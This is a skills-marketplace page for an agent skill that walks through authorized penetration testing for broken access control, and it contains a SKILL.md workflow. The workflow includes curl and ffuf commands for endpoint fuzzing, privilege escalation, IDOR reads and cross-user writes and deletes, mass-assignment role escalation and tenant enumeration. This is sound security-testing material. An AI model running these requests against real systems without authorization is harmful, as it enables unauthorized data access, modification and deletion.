MCPInstall

testing-for-broken-access-control

Systematically tests web applications and APIs for broken access control (OWASP A01:2021), including privilege escalation, missing function-level checks, insecure direct object references, and multi-tenant data leakage, using Burp Suite with the Authorize extension. Use during authorized penetration tests or RBAC/multi-tenant authorization audits.

Installs
525
Last 24h
—
Trending rank
—
Security
Not audited

Install

Works with every agent the skills CLI supports.

npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill testing-for-broken-access-control
  1. 01

    Install

    Run the command in your project. The CLI asks which agents to install for.

  2. 02

    Describe the task

    Ask your agent for something this skill covers. It loads testing-for-broken-access-control automatically when relevant.

  3. 03

    Review the result

    The agent follows the SKILL.md steps, scripts and references bundled with the skill.

SKILL.md

The instructions your agent reads when the skill is triggered.

Testing for Broken Access Control

When to Use

  • During authorized penetration tests as the primary assessment for OWASP A01:2021 - Broken Access Control
  • When evaluating role-based access control (RBAC) implementations across all application endpoints
  • For testing multi-tenant applications where users in one organization should not access another's data
  • When assessing API endpoints for missing or inconsistent authorization checks
  • During security audits where privilege escalation and unauthorized access are primary concerns

Prerequisites

  • Authorization: Written penetration testing agreement for the target
  • Burp Suite Professional: With Authorize extension for automated access control testing
  • Multiple test accounts: Accounts at each role level (admin, manager, user, guest)
  • Application role matrix: Documentation of what each role should and should not access
  • curl/httpie: For manual endpoint testing with different authentication contexts
  • ffuf: For discovering hidden endpoints that may lack access controls

Workflow

Step 1: Map All Endpoints and Create Access Control Matrix

Document every endpoint and the expected access level for each role.

# Extract all endpoints from Burp Site Map
# Target > Site Map > Right-click > Copy URLs in this host

# Build a matrix of endpoints vs roles:
# | Endpoint              | Admin | Manager | User | Guest |
# |-----------------------|-------|---------|------|-------|
# | GET /admin/dashboard  | Allow | Deny    | Deny | Deny  |
# | GET /api/users        | Allow | Allow   | Deny | Deny  |
# | PUT /api/users/{id}   | Allow | Deny    | Own  | Deny  |
# | DELETE /api/posts/{id} | Allow | Allow   | Own  | Deny  |

# Discover hidden endpoints
ffuf -u "https://target.example.com/FUZZ" \
  -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt \
  -mc 200,301,302,403 -fc 404 \
  -H "Authorization: Bearer $USER_TOKEN" \
  -o endpoints.json -of json

# API endpoint discovery
ffuf -u "https://target.example.com/api/v1/FUZZ" \
  -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt \
  -mc 200,201,204,301,302,401,403,405 -fc 404 \
  -H "Authorization: Bearer $USER_TOKEN"

Step 2: Configure Automated Access Control Testing

Set up Burp Authorize extension for parallel role-based testing.

# Install Authorize extension:
# Burp > Extender > BApp Store > Search "Authorize" > Install

# Configuration for three-tier testing:
# 1. Browse the application as Admin (capture all requests)
# 2. In Authorize tab:
#    a. Add Regular User's session token in "Replace cookies/headers"
#    b. Optionally add a second row for Unauthenticated (no auth header)

# Example header replacement setup:
# Row 1 (Low-privilege user):
#   Cookie: session=low_priv_user_session
#   Authorization: Bearer low_priv_token
#
# Row 2 (Unauthenticated):
#   [Empty - removes all auth headers]

# Enable interception in Authorize:
# - Check "Intercept requests from Proxy"
# - Check "Intercept requests from Repeater"

# Authorize shows results as:
# Green  = Properly restricted (different response for different user)
# Red    = POTENTIALLY VULNERABLE (same response regardless of role)
# Orange = Uncertain (needs manual verification)

Step 3: Test Vertical Privilege Escalation

Attempt to access higher-privilege functionality with lower-privilege accounts.

# Collect tokens for each role
ADMIN_TOKEN="Bearer admin_jwt_here"
MANAGER_TOKEN="Bearer manager_jwt_here"
USER_TOKEN="Bearer user_jwt_here"

# Test admin endpoints with user token
ADMIN_ENDPOINTS=(
  "GET /admin/dashboard"
  "GET /admin/users"
  "POST /admin/users/create"
  "PUT /admin/settings"
  "DELETE /admin/users/5"
  "GET /admin/logs"
  "GET /admin/reports/export"
  "POST /admin/backup"
)

for entry in "${ADMIN_ENDPOINTS[@]}"; do
  method=$(echo "$entry" | cut -d' ' -f1)
  endpoint=$(echo "$entry" | cut -d' ' -f2)
  echo -n "$method $endpoint (as user): "
  status=$(curl -s -o /dev/null -w "%{http_code}" \
    -X "$method" \
    -H "Authorization: $USER_TOKEN" \
    -H "Content-Type: application/json" \
    "https://target.example.com$endpoint")
  if [ "$status" == "200" ] || [ "$status" == "201" ]; then
    echo "VULNERABLE ($status)"
  else
    echo "OK ($status)"
  fi
done

# Test with method override headers
curl -s -o /dev/null -w "%{http_code}" \
  -X POST \
  -H "Authorization: $USER_TOKEN" \
  -H "X-HTTP-Method-Override: DELETE" \
  "https://target.example.com/admin/users/5"

# Test with different HTTP methods
for method in GET POST PUT PATCH DELETE OPTIONS HEAD; do
  echo -n "$method /admin/users: "
  curl -s -o /dev/null -w "%{http_code}" \
    -X "$method" \
    -H "Authorization: $USER_TOKEN" \
    "https://target.example.com/admin/users"
  echo
done

Step 4: Test Horizontal Privilege Escalation

Verify that users cannot access resources belonging to other users at the same privilege level.

# User A (ID: 101) testing access to User B's (ID: 102) resources
USER_A_TOKEN="Bearer user_a_jwt"

RESOURCES=(
  "/api/users/102/profile"
  "/api/users/102/orders"
  "/api/users/102/messages"
  "/api/users/102/documents"
  "/api/users/102/settings"
  "/api/users/102/payment-methods"
)

for resource in "${RESOURCES[@]}"; do
  echo -n "GET $resource: "
  response=$(curl -s -w "\n%{http_code}" \
    -H "Authorization: $USER_A_TOKEN" \
    "https://target.example.com$resource")
  status=$(echo "$response" | tail -1)
  body_len=$(echo "$response" | head -n -1 | wc -c)
  if [ "$status" == "200" ] && [ "$body_len" -gt 50 ]; then
    echo "VULNERABLE ($status, $body_len bytes)"
  else
    echo "OK ($status)"
  fi
done

# Test write operations across users
curl -s -X PUT \
  -H "Authorization: $USER_A_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"name":"Hacked","email":"hacked@evil.com"}' \
  "https://target.example.com/api/users/102/profile" -w "%{http_code}"

# Test delete operations
curl -s -X DELETE \
  -H "Authorization: $USER_A_TOKEN" \
  "https://target.example.com/api/users/102/documents/1" -w "%{http_code}"

Step 5: Test Function-Level Access Control

Verify that specific functions enforce authorization properly.

# Test unauthenticated access to protected endpoints
PROTECTED_ENDPOINTS=(
  "/api/user/profile"
  "/api/transactions"
  "/api/settings"
  "/admin/dashboard"
  "/api/export/users"
)

for endpoint in "${PROTECTED_ENDPOINTS[@]}"; do
  echo -n "No auth: GET $endpoint: "
  curl -s -o /dev/null -w "%{http_code}" \
    "https://target.example.com$endpoint"
  echo
done

# Test with expired/invalid tokens
curl -s -o /dev/null -w "%{http_code}" \
  -H "Authorization: Bearer invalid_token_here" \
  "https://target.example.com/api/user/profile"

# Test role manipulation in JWT claims
# If JWT contains role claim, try modifying it
# (requires JWT vulnerability - see JWT testing skill)

# Test parameter-based role escalation
curl -s -X PUT \
  -H "Authorization: $USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"role":"admin","is_admin":true,"permissions":["admin","superuser"]}' \
  "https://target.example.com/api/users/101/profile"

# Test registration with elevated role
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"email":"new@test.com","password":"Test123!","role":"admin"}' \
  "https://target.example.com/api/auth/register"

Step 6: Test Multi-Tenant Isolation

Verify that tenant boundaries are enforced in multi-tenant applications.

# User in Tenant A testing access to Tenant B's resources
TENANT_A_TOKEN="Bearer tenant_a_user_jwt"

# Direct tenant resource access
curl -s -H "Authorization: $TENANT_A_TOKEN" \
  "https://target.example.com/api/organizations/tenant-b-id/users" | jq .

curl -s -H "Authorization: $TENANT_A_TOKEN" \
  "https://target.example.com/api/organizations/tenant-b-id/settings" | jq .

# Test tenant switching via header
curl -s -H "Authorization: $TENANT_A_TOKEN" \
  -H "X-Tenant-ID: tenant-b-id" \
  "https://target.example.com/api/users" | jq .

# Test tenant ID in request body
curl -s -X POST \
  -H "Authorization: $TENANT_A_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"tenant_id":"tenant-b-id","query":"SELECT * FROM users"}' \
  "https://target.example.com/api/reports/custom"

# Enumerate tenant IDs
ffuf -u "https://target.example.com/api/organizations/FUZZ" \
  -w <(seq 1 100) \
  -H "Authorization: $TENANT_A_TOKEN" \
  -mc 200 -t 10 -rate 20

Key Concepts

ConceptDescription
Vertical Privilege EscalationLower-privilege user accessing higher-privilege functionality (user -> admin)
Horizontal Privilege EscalationUser accessing another user's resources at the same privilege level
Function-Level Access ControlAuthorization checks on specific features/functions regardless of URL
RBACRole-Based Access Control - permissions assigned to roles, roles assigned to users
ABACAttribute-Based Access Control - permissions based on user/resource/environment attributes
Multi-Tenant IsolationEnsuring data and functionality separation between different organizations/tenants
Insecure Direct Object ReferenceAccessing objects by manipulating identifiers without authorization checks
Missing Function-Level CheckEndpoint exists but does not verify the caller has permission to invoke it

Tools & Systems

ToolPurpose
Burp Suite ProfessionalRequest interception and role-based testing
Authorize (Burp Extension)Automated access control testing across sessions
AutoRepeater (Burp Extension)Automatically replays requests with different auth contexts
PostmanAPI testing with environment switching between roles
ffufDiscovering hidden endpoints that may lack access controls
OWASP ZAPAccess control testing with context-aware scanning

Common Scenarios

Scenario 1: Admin Panel Without Auth Check

The /admin/dashboard endpoint returns the admin panel when accessed with a regular user's session token. The front-end hides the admin menu, but the back-end does not enforce role checks.

Scenario 2: API Endpoint Missing Authorization

The DELETE /api/users/{id} endpoint checks for authentication (valid token) but not authorization (admin role). Any authenticated user can delete any other user's account.

Scenario 3: Tenant Data Leakage

A SaaS application uses tenant_id in API request headers. Changing the X-Tenant-ID header to another tenant's ID returns their data, bypassing tenant isolation.

Scenario 4: Mass Assignment Role Escalation

The user profile update endpoint at PUT /api/users/{id} accepts a role field in the JSON body. Submitting "role":"admin" alongside a profile update elevates the user to administrator.

Output Format

## Broken Access Control Assessment Report

**Target**: target.example.com
**Assessment Date**: 2024-01-15
**OWASP Category**: A01:2021 - Broken Access Control

### Access Control Matrix Results
| Endpoint | Admin | Manager | User | Guest | Expected | Actual |
|----------|-------|---------|------|-------|----------|--------|
| GET /admin/dashboard | 200 | 200 | 200 | 302 | Admin only | FAIL |
| DELETE /api/users/{id} | 200 | 200 | 200 | 401 | Admin only | FAIL |
| GET /api/users/other/profile | 200 | 200 | 200 | 401 | Own only | FAIL |
| PUT /api/users/other/settings | 200 | 200 | 200 | 401 | Own only | FAIL |
| GET /api/org/other-tenant | 200 | 200 | 200 | 401 | Same tenant | FAIL |

### Critical Findings
1. **Vertical Escalation**: Regular users can access /admin/* endpoints
2. **Horizontal IDOR**: Users can read/modify other users' profiles
3. **Tenant Isolation**: Cross-tenant data access via header manipulation
4. **Mass Assignment**: Role escalation via profile update endpoint

### Impact
- Complete administrative access for any authenticated user
- Full user data access across all accounts (15,000+ users)
- Cross-tenant data breach affecting 200+ organizations
- Account takeover via profile modification

### Recommendation
1. Implement server-side authorization checks on every endpoint
2. Use a centralized authorization middleware/framework
3. Enforce object-level authorization (verify ownership before access)
4. Validate tenant context server-side, never from client headers
5. Use allowlists for mass assignment (only permit expected fields)
6. Implement audit logging for all access control decisions

FAQ

What does the testing-for-broken-access-control skill do?

Systematically tests web applications and APIs for broken access control (OWASP A01:2021), including privilege escalation, missing function-level checks, insecure direct object references, and multi-tenant data leakage, using Burp Suite with the Authorize extension. Use during authorized penetration tests or RBAC/multi-tenant authorization audits.

How do I install testing-for-broken-access-control?

Run npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill testing-for-broken-access-control in your project. The skills CLI detects the agents you use and copies the skill into the right folder. For Claude Code you can also place the skill folder at ~/.claude/skills/testing-for-broken-access-control/ (personal) or .claude/skills/testing-for-broken-access-control/ (project).

Which AI agents can use testing-for-broken-access-control?

Any agent that supports the open Agent Skills format (a folder with a SKILL.md file), including Claude Code, Codex, Cursor, GitHub Copilot, Gemini CLI, Windsurf, Cline, OpenCode and more.

Is testing-for-broken-access-control safe to install?

No partner security audit is available yet. Skills can run commands and scripts, so read the SKILL.md and any bundled files before installing.

Who maintains testing-for-broken-access-control?

It is published by mukul975 in mukul975/anthropic-cybersecurity-skills. It has 525 recorded installs.

More from mukul975/anthropic-cybersecurity-skills

View all →

testing-api-security-with-owasp-top-10

mukul975/anthropic-cybersecurity-skills

Systematically assesses REST, GraphQL, and gRPC API endpoints against the OWASP API Security Top 10 (2023) using Burp Suite and Postman for automated and manual testing. Use during authorized API penetration tests, before deploying new endpoints to production, or when validating API gateway controls and rate limiting.

Security780 installs

analyzing-api-gateway-access-logs

mukul975/anthropic-cybersecurity-skills

Parses API Gateway access logs (AWS API Gateway, Kong, Nginx) to detect BOLA/IDOR attacks, rate limit bypass, credential scanning, and injection attempts. Uses pandas for statistical analysis of request patterns and anomaly detection. Use when investigating API abuse or building API-specific threat detection rules.

Backend & APIs764 installs

analyzing-android-malware-with-apktool

mukul975/anthropic-cybersecurity-skills

Perform static analysis of Android APK malware using apktool for resource decompilation, jadx for Java source recovery, and androguard for manifest inspection, dangerous permission-combination detection, and identification of obfuscated code, dynamic code loading, and reflection-based API calls. Use to statically triage a suspicious APK without executing it or to build mobile malware detection rules.

Security678 installs

acquiring-disk-image-with-dd-and-dcfldd

mukul975/anthropic-cybersecurity-skills

Create forensically sound bit-for-bit disk images with dd or dcfldd on a Linux forensic workstation, preserving evidence integrity through hash verification (MD5/SHA) during acquisition. Use when imaging a suspect drive, USB device, or memory card for investigation, preserving volatile disk evidence during incident response, or producing a verified copy for legal or law-enforcement proceedings before any destructive analysis.

Media & Creative676 installs

performing-web-application-penetration-test

mukul975/anthropic-cybersecurity-skills

Performs systematic security testing of web applications following the OWASP Web Security Testing Guide (WSTG) methodology to identify vulnerabilities in authentication, authorization, input validation, session management, and business logic. The tester uses Burp Suite as the primary interception proxy alongside manual testing techniques to find flaws that automated scanners miss. Activates for requests involving web app pentest, OWASP testing, application security assessment, or web vulnerability testing.

Security663 installs

testing-for-xss-vulnerabilities

mukul975/anthropic-cybersecurity-skills

Tests web applications for reflected, stored, and DOM-based Cross-Site Scripting by injecting JavaScript payloads with Burp Suite (XSS extensions, Active Scan++) and browser tools, then bypassing sanitization and CSP to demonstrate session hijacking and user impersonation. Use for OWASP WSTG client-side injection testing or when evaluating input sanitization and output encoding coverage.

Security654 installs

Popular testing & qa skills

View category →

tdd

mattpocock/skills

Test-driven development. Use when the user wants to build features or fix bugs test-first, mentions "red-green-refactor", or wants integration tests.

Testing & QA1.2M installs

grilling

mattpocock/skills

Grill the user relentlessly about a plan, decision, or idea. Use when the user wants to stress-test their thinking, or uses any 'grill' trigger phrases.

Testing & QA996.2K installs

migrate-to-shoehorn

mattpocock/skills

Migrate test files from as type assertions to @total-typescript/shoehorn. Use when user mentions shoehorn, wants to replace as in tests, or needs partial test data.

Testing & QA484.1K installs

run-train

lllllllama/rigorpilot-skills

Rigor Train skill for deep learning research repositories. Use when a documented or selected training command should be run conservatively for startup verification, short-run verification, full kickoff, or resume, with command, config, seed, log, checkpoint, status, and metric evidence written to standardized trainoutputs/. Do not use for environment setup, exploratory sweeps, speculative idea implementation, or end-to-end orchestration.

Testing & QA337.8K installs

test-driven-development

obra/superpowers

Use when implementing any feature or bugfix, before writing implementation code

Testing & QA261.8K installs

Use when implementation is complete, all tests pass, and you need to decide how to integrate the work

Testing & QA216.8K installs